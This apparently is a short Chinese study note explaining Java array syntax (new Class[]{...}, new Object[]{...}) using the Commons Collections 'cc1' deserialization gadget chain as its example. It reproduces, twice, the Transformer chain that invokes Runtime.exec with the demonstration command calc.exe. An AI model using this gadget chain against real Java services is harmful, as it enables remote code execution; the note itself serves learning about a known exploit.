在cc1鏈中的poc有着這樣一段
Transformer[] transformers = new Transformer[] { //通過ConstantTransformer類的transform方法獲取一個對象類型 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};
這里的new Class[]{} new Object[]{}是什么意思呢?
new Class[] {String.class }
就是創建一個數組並且填入元素 String.class,就相當於 new int[]{666}
也就可以寫成
Class[] para = new Class[1]; para[0] = String.class; Transformer[] transformers = new Transformer[] { //通過ConstantTransformer類的transform方法獲取一個對象類型 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", para, new Object[] {"calc.exe"})};
用para來代替了new Class[]{String.class}
順便一提這里的
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
注意這里是new了一個Class[]里面填入了String.class,以及一個新的Class[].class (也就是Class數組類)
這兩個Class[]數組是不一樣的.
參考:new class[]
